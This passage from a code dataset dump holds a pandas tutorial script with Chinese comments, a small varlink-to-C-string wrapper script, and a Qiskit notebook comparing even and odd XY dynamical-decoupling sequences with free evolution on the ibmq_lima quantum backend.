pd\r\ndata={'name':['Bob','Nancy'],'year':[1996,1997],'month':[8,1],'day':[11,8]}\r\ndf=pd.DataFrame(data)#轉二維\r\nprint(df)\r\n\r\n#可以自己排序columns跟改索引\r\ndf1=pd.DataFrame(data,columns=['name','day','month','year','abc'],index=['a','b'])\r\nprint(df1)\r\n#%%\r\nimport pandas as pd\r\nx=[['Amy','f',80],['leo','m',65],['rita','f',50],['eva','f',75]]\r\ndf1=pd.DataFrame(x,columns=['name','gender','grade'])\r\nprint(df1)\r\nprint(df1['name'])#欄標題\r\nprint(df1['name'].values)#欄標題的值\r\n\r\nprint(df1['name'][1])#先df1[columns][row] 過往所學都是y[row][columns]\r\n# print(df1['name'][1].values)上一個就是值，所以無法執行\r\n#%%\r\n#讀資料\r\nimport pandas as pd\r\ndf=pd.read_csv('csvsample.csv')\r\nprint(df.head())#預設前5筆\r\nprint(df.tail())#預設後5筆\r\nprint(df.info())#詳細資料\r\nprint(df['sna'][2])#先column再row\r\n#%%\r\nimport pandas as pd\r\ndf=pd.read_csv('nba.csv')\r\nprint(df)\r\nprint(df['Name'])\r\nprint(df['Name'][0:6])\r\n\r\nprint(df[['Name','Team','Salary']].head(10))\r\n\r\n#新增資料\r\n# 1 的位子為索引\r\ndf.insert(1, column='Sport', value='checked')\r\nprint(df.head())\r\n\r\n#刪除資料\r\n#刪除資料 要加df= ，insert()不用\r\n#axis=0(表示刪除的是row)\r\n#axis=1(表示刪除的是column)\r\ndf=df.drop('Sport',axis=1)\r\nprint(df.head())\r\n#2是將column索引2的資料刪除\r\ndf=df.drop(2,axis=0)\r\nprint(df.head())\r\n\r\n#遺值\r\n#(一)要不要處理(二)1.刪除2.填滿\r\n#刪除\r\ndf=df.dropna()#沒寫inplace，要寫df= \r\ndf.dropna(inplace=True)#inplace預設false\r\n#刪特定值\r\ndf.dropna(subset=['欄位名稱','欄位名稱'])\r\n#填滿\r\n#填0,填1,mean,眾數,中位數,自訂\r\ndf=df.fillna(10000)\r\nprint(df.head())\r\n\r\n#排序資料\r\nprint(df.sort_values('Name'))\r\n#%%#filter\r\nimport pandas as pd\r\ndf=pd.read_csv('nba.csv')\r\n\r\n\r\n#none不設定，全部show出來\r\n#顯示所有列、欄\r\npd.set_option('display.max_columns',None)\r\npd.set_option('display.max_rows',None)\r\n\r\nprint(df['Age']>=25)#只會顯示T/F\r\n#filter\r\nmask=(df['Age']>=25)\r\nprint(df[mask].head(8))\r\nmask1=(df['Age']<29)\r\nprint(df[mask & mask1].head(8))\r\n\r\n#between 包前包後\r\nmask2=df['Age'].between(20,28)\r\nprint(df[mask2].head(8))\r\n\r\n#判斷哪些值在裡面\r\nmask3=df['Age'].isin([25,28,32])\r\nprint(df[mask3].head(8))\r\nprint(df[mask3].values[:10])\r\nprint(df[mask3].index.values[:10])\r\n#%%\r\nimport pandas as pd\r\nimport numpy as np\r\n#rand產生0~1數 5欄3列 \r\n#\\這是換行\r\n#欄列名只能有一個字才能用index='abcde col=xyz.... \r\ndf =pd.DataFrame(np.random.rand(5,3),\\\r\n index=list('ABCDE'),columns=list('XYZ'))\r\nprint(df)\r\n\r\n#loc\r\nprint(df.loc['A','X'])#loc['row','column] 包前包後\r\nprint(df.loc['B':'D',:])\r\nprint(df.loc[:,'X':'Y'])\r\nprint(df.loc[['B','E'],['X','Z']])#取特定欄列\r\n\r\n#iloc\r\nprint(df.iloc[0,0])#不管欄列名是什麼[]裡都要用索引\r\nprint(df.iloc[0:2,:])#包前不包後\r\nprint(df.iloc[:,0:2])\r\nprint(df.iloc[[0,2],[0,2]])\r\n#%%\r\n#groupby\r\nimport pandas as pd\r\ncol=['class','name','bd']\r\ndata=[['classA','ANDY','1995-05-03'],\r\n ['classB','RITA','1995-10-12'],\r\n ['classC','NICO','1997-11-30'],\r\n ['classA','AA','2000-02-02'],\r\n ['classB','BB','2010-03-03'],\r\n ['classC','CC','2000-04-04']]\r\nframe=pd.DataFrame(data,columns=col)\r\nframe_class=frame.groupby('class')\r\nprint(frame_class.groups)\r\n#取classA資料\r\nprint(frame_class.get_group('classA'))\r\n#%%\r\nimport pandas as pd\r\nimport numpy as np\r\ndf=pd.DataFrame(\r\n{'A':['aa','bb','aa','bb'],\r\n'B':['one','two','one','two'],\r\n'C':np.random.randn(4),\r\n'D':np.random.randn(4)})\r\nprint(df)\r\nprint(df.groupby('A').sum())#B不會顯示\r\nprint(df.groupby(['B','A']).sum())\r\n\r\nsector=df.groupby('A')\r\nprint(sector.get_group('aa'))#取出A是aa的資料\r\nprint(sector.get_group('bb'))#取出A是bb的資料\r\n#%%\r\nimport pandas as pd\r\n#法一\r\ndf=pd.read_csv('nba.csv')\r\ndf.to_csv('nba2.csv')\r\ndf.to_csv('nba3.csv',index=0)#不顯索引\r\ndf.to_csv('nba4.csv',index=0,header=0)#不顯header表頭\r\n\r\n#法二(不建議)\r\ndf=pd.read_csv('nba.csv')#讀原檔\r\ndf.to_csv('nba5.csv')#輸出新檔\r\ndf0=pd.read_csv('nba5.csv')#把新檔讀進來\r\ndf1=pd.read_csv('nba5.csv',index_col=(0))#讀新檔進來沒索引\r\ndf2=pd.read_csv('nba5.csv',index_col=0,header=0)#讀新檔進來沒索引沒表頭\r\n#%%\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nx=np.random.rand(100,4)#100筆 4欄\r\ny=np.random.randn(100,4)#常態分佈 0的地方機率大\r\n#日期\r\ndf1=pd.DataFrame(x,index=pd.date_range('3/1/22',\r\n periods=100),columns=list('ABCD'))\r\ndf2=pd.DataFrame(y,index=pd.date_range('3/1/22',\r\n periods=100),columns=list('ABCD'))\r\n\r\n#資料未累加 顯示圖表\r\ndf1.plot()\r\ndf2.plot()\r\n\r\n#資料累加 顯示圖表\r\ndf1=df1.cumsum()\r\ndf2=df2.cumsum()\r\ndf1.plot()\r\ndf2.plot()\r\n#%%\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\ndf=pd.DataFrame(np.random.randn(500,3),columns=list('xyz'),\r\n index=pd.date_range('1/1/2022',periods=500))\r\n#設定累加\r\ndf=df.cumsum()\r\n#折線圖 灰階\r\ndf.plot(colormap='gray').set_ylabel('Value',fontsize=12)\r\n\r\n#長條圖\r\ndf2=pd.DataFrame(np.random.rand(5,3),columns=['a','b','c'])\r\n#stacked=true 堆疊\r\ndf2.plot(kind='bar',fontsize=12,stacked=True)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"LIAMCHENG08/Python","sub_path":"module_pd&np/pandass.py","file_name":"pandass.py","file_ext":"py","file_size_in_byte":6100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"17607676399","text":"#!/usr/bin/python3\n\nimport sys\nimport os\n\npath_in = sys.argv[1]\npath_out = sys.argv[2]\ninterface = os.path.basename(path_in).replace('.', '_')\n\nwith open(path_out, 'wt') as output:\n print('static const char *{} = R\"INTERFACE('.format(interface), file=output)\n print(open(path_in).read(), end='', file=output)\n print(')INTERFACE\";', file=output)\n","repo_name":"cherry-pick/com.redhat.resolver","sub_path":"varlink-wrapper.py","file_name":"varlink-wrapper.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"40792920810","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[31]:\n\n\n# -*- coding: utf-8 -*-\nfrom qiskit import IBMQ\nfrom qiskit.tools.jupyter import *\nfrom qiskit.tools import job_monitor\nfrom qiskit.providers.ibmq.managed import IBMQJobManager\nfrom qiskit import QuantumRegister, ClassicalRegister, QuantumCircuit, transpile, schedule, transpiler\nfrom qiskit.transpiler import PassManager, InstructionDurations\nfrom qiskit.transpiler.passes import ALAPSchedule\nfrom qiskit.visualization import timeline_drawer\nfrom qiskit.visualization.timeline import draw, IQXSimple, IQXStandard\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# For data fitting\nfrom lmfit import Model\n\n\n# In[2]:\n\n\nprovider = IBMQ.enable_account('account-id-here')\n#provider = IBMQ.load_account()\n\n\n# In[3]:\n\n\nbackend = provider.get_backend('ibmq_lima')\nbackend\n\n\n# ## Get gates duration\n# https://qiskit.org/documentation/stubs/qiskit.transpiler.InstructionDurations.get.html\n# https://qiskit.org/documentation/tutorials/circuits_advanced/08_gathering_system_information.\n\n# In[5]:\n\n\n# Get duration of instructions\n\ndt_in_s = backend.configuration().dt\nReset_duration = transpiler.InstructionDurations.from_backend(backend).get(\"reset\",0)\nI_duration = transpiler.InstructionDurations.from_backend(backend).get(\"id\",3)\nZ_duration = transpiler.InstructionDurations.from_backend(backend).get(\"rz\",0)\nSX_duration = transpiler.InstructionDurations.from_backend(backend).get(\"sx\",1)\nX_duration = transpiler.InstructionDurations.from_backend(backend).get(\"x\",1)\nY_duration = 3*Z_duration + 2*SX_duration\nH_duration = 2*Z_duration + SX_duration\nMeasurement_duration = transpiler.InstructionDurations.from_backend(backend).get(\"measure\",1)\nMeasurement_duration3 = transpiler.InstructionDurations.from_backend(backend).get(\"measure\",3)\n\nCNOT_durations = [] # Will be in dt units\nfor pair in backend.configuration().coupling_map:\n CNOT_pair_duration = transpiler.InstructionDurations.from_backend(backend).get(\"cx\",pair)\n CNOT_durations.append([str(pair),CNOT_pair_duration])\nCNOT_durations = dict(CNOT_durations)\n\ntau_cnot01 = CNOT_durations[\"[0, 1]\"]\ntau_cnot10 = CNOT_durations[\"[1, 0]\"]\ntau_cnot34 = CNOT_durations[\"[3, 4]\"]\ntau_cnot43 = CNOT_durations[\"[4, 3]\"]\ntau_cnot13 = CNOT_durations[\"[1, 3]\"]\n\n\n# ## Define the circuit creation functions\n\n# In[9]:\n\n\ndef get_transpiled_circuit(num_blocks, \n backend, \n X_duration, \n Y_duration,\n initial_state=0, \n DD_wait=True, \n even=True, \n qubit=0):\n\n tau_block = 2*(X_duration+Y_duration) # Time duration of a XYXY block.\n tau_wait = num_blocks*tau_block # Time duration of the wait part.\n\n # Create the registers and the circuit.\n q = QuantumRegister(5, 'q')\n c = ClassicalRegister(1, 'c')\n circuit = QuantumCircuit(q, c)\n \n # Data/preparation gate.\n if initial_state == 1:\n circuit.x(qubit)\n elif initial_state == \"+\":\n circuit.h(qubit)\n elif initial_state == \"-\":\n circuit.x(qubit)\n circuit.h(qubit)\n \n \n wait_duration = 0\n if DD_wait == True: # Apply dynamical decoupling during the waiting part.\n wait_duration = tau_wait*dt_in_s*1e6\n for i in range(num_blocks): # Even number of pairs case.\n circuit.x(qubit)\n circuit.y(qubit)\n circuit.x(qubit)\n circuit.y(qubit)\n if even == False: # Odd number of pairs case.\n wait_duration += (X_duration + Y_duration)*dt_in_s*1e6\n circuit.x(qubit)\n circuit.y(qubit)\n \n elif DD_wait == False: # Do nothing during the waiting part.\n wait_duration = tau_wait*dt_in_s*1e6\n for i in range(num_blocks):\n circuit.id(qubit) # The number of I gates is set to fit the duration of the X and Y gates.\n circuit.id(qubit)\n circuit.id(qubit)\n circuit.id(qubit)\n circuit.id(qubit)\n circuit.id(qubit)\n if even == False:\n circuit.id(qubit)\n circuit.id(qubit)\n circuit.id(qubit)\n\n # Inverse of the data/preparation gate.\n if initial_state == 1:\n circuit.x(qubit)\n elif initial_state == \"+\":\n circuit.h(qubit)\n elif initial_state == \"-\":\n circuit.h(qubit)\n circuit.x(qubit)\n \n # Measurement.\n circuit.measure(qubit,0)\n \n # Transpile the circuit.\n tcircuit = transpile(circuit, backend=backend, scheduling_method='alap', optimization_level=0)\n \n return tcircuit, wait_duration\n\n\n# **Circuit building settings.**\n\n# In[10]:\n\n\n# Parameters for building the circuits\n\nmax_time = 15 # In us\nnum_steps = 15\nwait_times = np.linspace(0, max_time, num_steps) # In us.\n#print(wait_times)\nnum_blocks_array = ((wait_times*1e-6/dt_in_s)/(2*(X_duration + Y_duration))).astype(int) # Number of blocks necessary to fit the wait times.\n#print(num_blocks_array, num_steps==len(num_blocks_array))\n\nshots = 2**13 # 8192\n#print(shots)\n\ninitial_states = [0, 1, \"+\", \"-\"]\nrepetitions = 10\nnumber_of_sequences = 3 # Even XY, Odd XY and free evolution (I only).\n\nreshape_dims = (len(initial_states), repetitions, number_of_sequences, num_steps) # Dimensions for reshaping the results and making the data more manageable.\n#print(reshape_dims)\n#print(\"Total number of circuits:\", np.prod(reshape_dims))\n\n\n# ## Build the circuits\n\n# In[24]:\n\n\nall_wait_times = []\nall_counts = []\nall_transpiled_circuits = []\n\nqubit = 0 # Set qubit 0 or 4\n\n\"\"\"\nData format: [[[Even case, Odd case, Free evo], repetitions...] for |0>,\n [[Even case, Odd case, Free evo], repetitions...] for |1>,\n [[Even case, Odd case, Free evo], repetitions...] for |+>,\n [[Even case, Odd case, Free evo], repetitions...] for |->]\n\"\"\"\n\nfor i, initial_state in enumerate(initial_states): # Prepare all the circuits.\n\n repetitions_counts = []\n repetitions_wait_times = []\n \n wait_times_XYXY = []\n wait_times_XYXY_odd = []\n wait_times_IIII = []\n \n transpiled_circuits_XYXY = []\n transpiled_circuits_XYXY_odd = []\n transpiled_circuits_IIII = []\n \n state_transpiled_circuits = []\n\n print(\"Initial state:\", initial_state)\n print(\"Generating the even XY circuits...\")\n for j, num_blocks in enumerate(num_blocks_array): # Build the Even XY circuits.\n\n print(\"\\tEven XY\", i, j+1, num_steps)\n tcircuit, wait_time = get_transpiled_circuit(num_blocks, backend, X_duration, Y_duration, \n initial_state=initial_state, DD_wait=True, even=True, qubit=qubit)\n wait_times_XYXY.append(wait_time)\n transpiled_circuits_XYXY.append(tcircuit)\n \n print(\"Generating the odd XY circuits...\")\n for j, num_blocks in enumerate(num_blocks_array): # Build the Odd XY circuits.\n\n print(\"\\tOdd XY\", i, j+1, num_steps)\n tcircuit, wait_time = get_transpiled_circuit(num_blocks, backend, X_duration, Y_duration, \n initial_state=initial_state, DD_wait=True, even=False, qubit=qubit)\n wait_times_XYXY_odd.append(wait_time)\n transpiled_circuits_XYXY_odd.append(tcircuit)\n \n print(\"Generating the IIII circuits...\")\n for j, num_blocks in enumerate(num_blocks_array): # Build the IIII (free evo.) circuits.\n\n print(\"\\tIIII\", i, j+1, num_steps)\n tcircuit, wait_time = get_transpiled_circuit(num_blocks, backend, X_duration, Y_duration, \n initial_state=initial_state, DD_wait=False, even=True, qubit=qubit)\n wait_times_IIII.append(wait_time)\n transpiled_circuits_IIII.append(tcircuit)\n\n state_transpiled_circuits.append([transpiled_circuits_XYXY, transpiled_circuits_XYXY_odd, transpiled_circuits_IIII])\n all_wait_times.append([wait_times_XYXY, wait_times_XYXY_odd, wait_times_IIII])\n \n # Flatten the transpiled circuits to send them to IBM as a single job set\n circuits_array = np.asarray(state_transpiled_circuits) # Get a 2D array containing the set of circuits for each sequence.\n dimensions = np.shape(circuits_array) # Get the dimensions of the 2D array.\n circuits_array_flattened = circuits_array.flatten() # Make the array 1-dimensional.\n #print(\"Number of circuits:\", len(circuits_array_flattened))\n \n print(\"Building repetitions...\")\n for j in range(repetitions):\n print(\"\\tRepetition\",j)\n all_transpiled_circuits = all_transpiled_circuits + circuits_array_flattened.tolist()\n \n print(\"Done!\")\n \nprint(\"Finished!\")\n\n\n# ### Check that the circuit function builds them correctly.\n\n# In[15]:\n\n\ntc, wt = get_transpiled_circuit(1, backend, X_duration, Y_duration, \n initial_state=\"-\", DD_wait=True, even=True, qubit=qubit)\n\n\n# In[16]:\n\n\ntc.draw(\"mpl\", fold=-1)\n\n\n# ### Plot a circuit schedule to look for errors.\n\n# In[32]:\n\n\n# Instruction durations for the schedule plot\n\ndurations = InstructionDurations(\n [(\"h\", 1, H_duration), \n (\"x\", 0, X_duration), \n (\"x\", 1, X_duration), \n (\"x\", 2, X_duration), \n (\"x\", 3, X_duration), \n (\"x\", 4, X_duration), \n (\"z\", 0, Z_duration), \n (\"z\", 1, Z_duration), \n (\"z\", 2, Z_duration), \n (\"z\", 3, Z_duration), \n (\"z\", 4, Z_duration),\n (\"id\", 0, I_duration),\n (\"id\", 1, I_duration),\n (\"id\", 2, I_duration),\n (\"id\", 3, I_duration),\n (\"id\", 4, I_duration),\n (\"cx\", [0, 1], CNOT_durations[\"[0, 1]\"]), \n (\"cx\", [1, 0], CNOT_durations[\"[1, 0]\"]),\n (\"cx\", [1, 3], CNOT_durations[\"[1, 3]\"]),\n (\"cx\", [3, 4], CNOT_durations[\"[3, 4]\"]),\n (\"cx\", [4, 3], CNOT_durations[\"[4, 3]\"]),\n (\"reset\", None, Reset_duration),\n (\"measure\", None, Measurement_duration)]\n)\n\npm = PassManager([ALAPSchedule(durations)])\n\n\n# In[49]:\n\n\n# Style for the schedule plot\n\n# https://matplotlib.org/3.5.0/users/prev_whats_new/dflt_style_changes.html\n# https://qiskit.org/documentation/stubs/qiskit.visualization.timeline_drawer.html\n# https://github.com/Qiskit/qiskit-terra/pull/5063/files/5fa5898bad0a53da23c0daa61f2d99c7e822de1b#diff-4ad47bcead055d747c1ef626ff0baece4907ef6e8ee6a227c9df53459ca9ea86\n\nmy_style = {\n \"formatter.latex_symbol.frame_change\" : r\"\\,\",\n 'formatter.general.fig_width': 20,\n #\"formatter.unicode_symbol.frame_change\" : \"\",\n #\"formatter.layer.frame_change\" : 0,\n #\"formatter.text_size.frame_change\":0,\n #\"formatter.alpha.gates\":0,\n \"formatter.text_size.gate_name\": 14,\n \"formatter.time_bucket.edge_dt\": 100,\n \"formatter.latex_symbol.gates\":\n {\n 'rz': r'\\,',\n 'x': r'\\,',\n 'sx': r'\\,',\n 'id': r'\\,',\n 'reset': r'|0\\rangle',\n 'measure': r'{\\rm Measure}'\n },\n \"formatter.color.gates\":\n {\n 'cx': '#6FA4FF',\n 'x': '#DC143C', # Red\n 'sx': '#6FA4FF', # Blue\n 'reset': '#a0a0a0', # Gray\n 'measure': '#a0a0a0' #'#808080',\n #'delay': '#1E90FF'\n }\n}\n\nstyle = IQXStandard(**my_style)\n\n\n# In[50]:\n\n\nsample_circuit = np.asarray(all_transpiled_circuits).reshape(reshape_dims)[0][0][1][2] # [state][repetition][sequence type][num_blocks index]\ntimeline_drawer(sample_circuit, style=style)#, show_delays=True)\n\n\n# ## Send the job set to IBM\n\n# In[89]:\n\n\njob_manager = IBMQJobManager()\njob_set = job_manager.run(all_transpiled_circuits, backend=backend, name='even-VS-odd-XY_errorBars-8192shots-15us-15steps-10rep-qubit4', shots=shots)\n#job_monitor(job_set)\n\n\n# **For saving the job_set id for being able to retrieve it in the future.**\n\n# In[ ]:\n\n\njob_set_id = job_set.job_set_id()\nprint(job_set_id)\n\n\n# **For checking the job status, etc.**\n\n# In[ ]:\n\n\njob_set.statuses()\n#job_set.cancel()\n#job_set.error_messages()\n\n\n# **For retrieving past job sets.**\n\n# In[23]:\n\n\njm = IBMQJobManager()\njob_set = jm.retrieve_job_set(\"put-the-job_set-id-here\", provider)\n\n\n# ## Get the job results\n\n# In[25]:\n\n\n# Get the results.\nresults = job_set.results()\n\n\n# In[26]:\n\n\n# Get the counts.\nall_counts_array = np.array([results.get_counts(i) for i in range(len(all_transpiled_circuits))])\n\n\n# In[27]:\n\n\n# Use this if the results for some circuits do not contain |1> counts (introduce them as a dummy 0)\nfor i in range(len(all_counts_array)):\n if len(all_counts_array[i]) == 1:\n all_counts_array[i][\"1\"] = 0\n\n\n# ## Plot the results\n\n# **For qubit 4**\n\n# In[22]:\n\n\n# On qubit 4, 0,1,+,- states -fit \n\ndef exp_decay(x, T, A, B):\n return A*np.exp(-x/T) + B\n\ndef line_fit(x, A, B):\n return -x/A + B\n\ndef cos_ramsey(x, T, B, f, phi):\n # https://qiskit.org/documentation/experiments/tutorials/t2ramsey_characterization.html\n return np.exp(-x/T)*np.cos(2*np.pi*f*x + phi) + B\n\n \nstate_labels = [\"Initial single-qubit state: $|0\\\\rangle$\", \n \"Initial single-qubit state: $|1\\\\rangle$\", \n \"Initial single-qubit state: $|+\\\\rangle$\", \n \"Initial single-qubit state: $|-\\\\rangle$\"]\n\nwait_times = np.linspace(0, 35, 15)\n\nfig, axs = plt.subplots(ncols=4, nrows=1, sharey=True, figsize=(13,3), constrained_layout=False, dpi=300)\n\nfig.suptitle(r\"$\\it{ibmq\\_%s}$: qubit 4\" % \"lima\", y=0.925)\naxs[0].set_ylabel(\"Fidelity\", labelpad=10)\nmsize = 4 # Markersize\nmsize_scatter = 10 # Markersize in scatterplots\nmedgewidth = 1 # Marker edge width\nmtype = \"o\" # Marker type\nmtype_scatter = \"_\" # Marker type in scatter plots\nlw = 1 # Line width\nelw = 1 # Errorbars line width\na = 1 # Alpha\ncs = 2 # Errorbars cap size\n\nfor i, ilabel in enumerate(initial_states):\n \n axs[i].set_title(state_labels[i])\n axs[i].set_xlabel(\"Time (μs)\")\n axs[i].set_ylim((0.4,1.05))\n axs[i].set_xticks(np.arange(0, 15+2.5, 2.5))\n \n # Get the counts for the current initial state\n counts_XYXY = np.array([[all_counts_array.reshape(reshape_dims)[i][j][0][k][\"0\"] for k in range(num_steps)] for j in range(repetitions)])\n if i>1:\n counts_XYXY_odd = np.array([[all_counts_array.reshape(reshape_dims)[i][j][1][k][\"1\"] for k in range(num_steps)] for j in range(repetitions)])\n else:\n counts_XYXY_odd = np.array([[all_counts_array.reshape(reshape_dims)[i][j][1][k][\"0\"] for k in range(num_steps)] for j in range(repetitions)])\n counts_IIII = np.array([[all_counts_array.reshape(reshape_dims)[i][j][2][k][\"0\"] for k in range(num_steps)] for j in range(repetitions)])\n raw_counts = [counts_XYXY, counts_XYXY_odd, counts_IIII]\n \n # Get the average of the repetitions\n avg_counts_XYXY = np.round(np.average(counts_XYXY, axis=0)).astype(int)\n avg_counts_XYXY_odd = np.round(np.average(counts_XYXY_odd, axis=0)).astype(int)\n avg_counts_IIII = np.round(np.average(counts_IIII, axis=0)).astype(int)\n avg_counts = [avg_counts_XYXY, avg_counts_XYXY_odd, avg_counts_IIII]\n \n # Get the maximum count values of the repetitions\n max_counts_XYXY = np.max(counts_XYXY, axis=0)\n max_counts_XYXY_odd = np.max(counts_XYXY_odd, axis=0)\n max_counts_IIII = np.max(counts_IIII, axis=0)\n max_counts = [max_counts_XYXY, max_counts_XYXY_odd, max_counts_IIII]\n \n # Get the minimum count values of the repetitions\n min_counts_XYXY = np.min(counts_XYXY, axis=0)\n min_counts_XYXY_odd = np.min(counts_XYXY_odd, axis=0)\n min_counts_IIII = np.min(counts_IIII, axis=0)\n min_counts = [min_counts_XYXY, min_counts_XYXY_odd, min_counts_IIII]\n \n # Get the wait times\n t_XYXY = all_wait_times[i][0]\n t_XYXY_odd = all_wait_times[i][1]\n t_IIII = all_wait_times[i][2]\n\n # Get the fidelities\n fidelity_XYXY = avg_counts_XYXY/shots \n fidelity_XYXY_odd = avg_counts_XYXY_odd/shots \n fidelity_IIII = avg_counts_IIII/shots \n\n # Calculate the limits of the error bars for each sequence\n min_err_XYXY = np.abs(fidelity_XYXY-min_counts_XYXY/shots)\n max_err_XYXY = np.abs(fidelity_XYXY-max_counts_XYXY/shots)\n min_err_XYXY_odd = np.abs(fidelity_XYXY_odd-min_counts_XYXY_odd/shots)\n max_err_XYXY_odd = np.abs(fidelity_XYXY_odd-max_counts_XYXY_odd/shots)\n min_err_IIII = np.abs(fidelity_IIII-min_counts_IIII/shots)\n max_err_IIII = np.abs(fidelity_IIII-max_counts_IIII/shots)\n \n # Plot the lines with the error bars\n axs[i].errorbar(t_XYXY, fidelity_XYXY, yerr=[min_err_XYXY, max_err_XYXY],\n linewidth=0, elinewidth=elw, capsize=cs,\n marker=mtype, markeredgewidth=medgewidth, markersize=msize, \n alpha=a, c=\"C0\",\n label=\"Even XY\")\n axs[i].errorbar(t_XYXY_odd, fidelity_XYXY_odd, yerr=[min_err_XYXY_odd, max_err_XYXY_odd],\n linewidth=0, elinewidth=elw, capsize=cs,\n marker=mtype, markeredgewidth=medgewidth, markersize=msize, \n alpha=a, c=\"C1\",\n label=\"Odd XY\")\n axs[i].errorbar(t_IIII, fidelity_IIII, yerr=[min_err_IIII, max_err_IIII],\n linewidth=0, elinewidth=elw, capsize=cs,\n marker=mtype, markeredgewidth=medgewidth, markersize=msize, \n alpha=a, c=\"C2\",\n label=\"I only\")\n \n \n # Build the data fitting lines\n \n fidelities_state = [fidelity_XYXY, fidelity_XYXY_odd, fidelity_IIII]\n \n for k in range(3):\n state_data = fidelities_state[k]\n state_times = all_wait_times[i][k]\n \n if i>1 and k==2: # For the |+> and |-> states add a damped-cosine fit.\n model = Model(cos_ramsey) # Damped-cosine fit\n model.set_param_hint('T', value=100, min=0)\n model.set_param_hint('B', value=0.8)\n model.set_param_hint('f', value=1)\n model.set_param_hint('phi', value=0)\n fit_result = model.fit(state_data, x=state_times) \n print(i, k, fit_result.params[\"T\"], fit_result.params[\"B\"], fit_result.params[\"f\"], fit_result.params[\"phi\"])\n ploty = fit_result.best_fit\n axs[i].plot(state_times, ploty, linewidth=lw, alpha=a, c=\"C\"+str(k))\n\n model = Model(line_fit) # Linear fit\n params = model.make_params(A=10, B=0)\n fit_result = model.fit(state_data, params, x=state_times)\n print(i, k, fit_result.params[\"A\"], fit_result.params[\"B\"])\n ploty = fit_result.best_fit\n axs[i].plot(state_times, ploty, linewidth=1, alpha=a, c=\"C\"+str(k), ls=\"--\")\n\n else:\n model = Model(line_fit)\n params = model.make_params(A=1, B=0)\n fit_result = model.fit(state_data, params, x=state_times)\n print(i, k, fit_result.params[\"A\"], fit_result.params[\"B\"])\n ploty = fit_result.best_fit\n axs[i].plot(state_times, ploty, linewidth=lw, alpha=a, c=\"C\"+str(k))\n\n axs[i].legend(framealpha=0.8, fontsize=8)\n axs[i].grid(linestyle=\"--\", alpha=0.3)\n\nplt.tight_layout()\nplt.show()\n#plt.savefig(r\"lima_oddVsEvenXY_q4_8192Shots_errorbars_10Reps_15us_15steps_12082022_fit.pdf\") \n\n\n# **For qubit 0**\n\n# In[28]:\n\n\n# On qubit 0, 0,1,+,- states -fit \n\ndef exp_decay(x, T, A, B):\n return A*np.exp(-x/T) + B\n\ndef line_fit(x, A, B):\n return -x/A + B\n\ndef cos_ramsey(x, T, B, f, phi):\n # https://qiskit.org/documentation/experiments/tutorials/t2ramsey_characterization.html\n return np.exp(-x/T)*np.cos(2*np.pi*f*x + phi) + B\n\n \nstate_labels = [\"Initial single-qubit state: $|0\\\\rangle$\", \n \"Initial single-qubit state: $|1\\\\rangle$\", \n \"Initial single-qubit state: $|+\\\\rangle$\", \n \"Initial single-qubit state: $|-\\\\rangle$\"]\n\nwait_times = np.linspace(0, 35, 15)\n\nfig, axs = plt.subplots(ncols=4, nrows=1, sharey=True, figsize=(13,3), constrained_layout=False, dpi=300)\n\nfig.suptitle(r\"$\\it{ibmq\\_%s}$: qubit 0\" % \"lima\", y=0.925)\naxs[0].set_ylabel(\"Fidelity\", labelpad=10)\nmsize = 4 # Markersize\nmsize_scatter = 10 # Markersize in scatterplots\nmedgewidth = 1 # Marker edge width\nmtype = \"o\" # Marker type\nmtype_scatter = \"_\" # Marker type in scatter plots\nlw = 1 # Line width\nelw = 1 # Errorbars line width\na = 1 # Alpha\ncs = 2 # Errorbars cap size\n\nfor i, ilabel in enumerate(initial_states):\n \n axs[i].set_title(state_labels[i])\n axs[i].set_xlabel(\"Time (μs)\")\n axs[i].set_ylim((0.4,1.05))\n axs[i].set_xticks(np.arange(0, 15+2.5, 2.5))\n \n # Get the counts for the current initial state\n counts_XYXY = np.array([[all_counts_array.reshape(reshape_dims)[i][j][0][k][\"0\"] for k in range(num_steps)] for j in range(repetitions)])\n if i>1:\n counts_XYXY_odd = np.array([[all_counts_array.reshape(reshape_dims)[i][j][1][k][\"1\"] for k in range(num_steps)] for j in range(repetitions)])\n else:\n counts_XYXY_odd = np.array([[all_counts_array.reshape(reshape_dims)[i][j][1][k][\"0\"] for k in range(num_steps)] for j in range(repetitions)])\n counts_IIII = np.array([[all_counts_array.reshape(reshape_dims)[i][j][2][k][\"0\"] for k in range(num_steps)] for j in range(repetitions)])\n raw_counts = [counts_XYXY, counts_XYXY_odd, counts_IIII]\n \n # Get the average of the repetitions\n avg_counts_XYXY = np.round(np.average(counts_XYXY, axis=0)).astype(int)\n avg_counts_XYXY_odd = np.round(np.average(counts_XYXY_odd, axis=0)).astype(int)\n avg_counts_IIII = np.round(np.average(counts_IIII, axis=0)).astype(int)\n avg_counts = [avg_counts_XYXY, avg_counts_XYXY_odd, avg_counts_IIII]\n \n # Get the maximum count values of the repetitions\n max_counts_XYXY = np.max(counts_XYXY, axis=0)\n max_counts_XYXY_odd = np.max(counts_XYXY_odd, axis=0)\n max_counts_IIII = np.max(counts_IIII, axis=0)\n max_counts = [max_counts_XYXY, max_counts_XYXY_odd, max_counts_IIII]\n \n # Get the minimum count values of the repetitions\n min_counts_XYXY = np.min(counts_XYXY, axis=0)\n min_counts_XYXY_odd = np.min(counts_XYXY_odd, axis=0)\n min_counts_IIII = np.min(counts_IIII, axis=0)\n min_counts = [min_counts_XYXY, min_counts_XYXY_odd, min_counts_IIII]\n \n # Get the wait times\n t_XYXY = all_wait_times[i][0]\n t_XYXY_odd = all_wait_times[i][1]\n t_IIII = all_wait_times[i][2]\n\n # Get the fidelities\n fidelity_XYXY = avg_counts_XYXY/shots \n fidelity_XYXY_odd = avg_counts_XYXY_odd/shots \n fidelity_IIII = avg_counts_IIII/shots \n\n # Calculate the limits of the error bars for each sequence\n min_err_XYXY = np.abs(fidelity_XYXY-min_counts_XYXY/shots)\n max_err_XYXY = np.abs(fidelity_XYXY-max_counts_XYXY/shots)\n min_err_XYXY_odd = np.abs(fidelity_XYXY_odd-min_counts_XYXY_odd/shots)\n max_err_XYXY_odd = 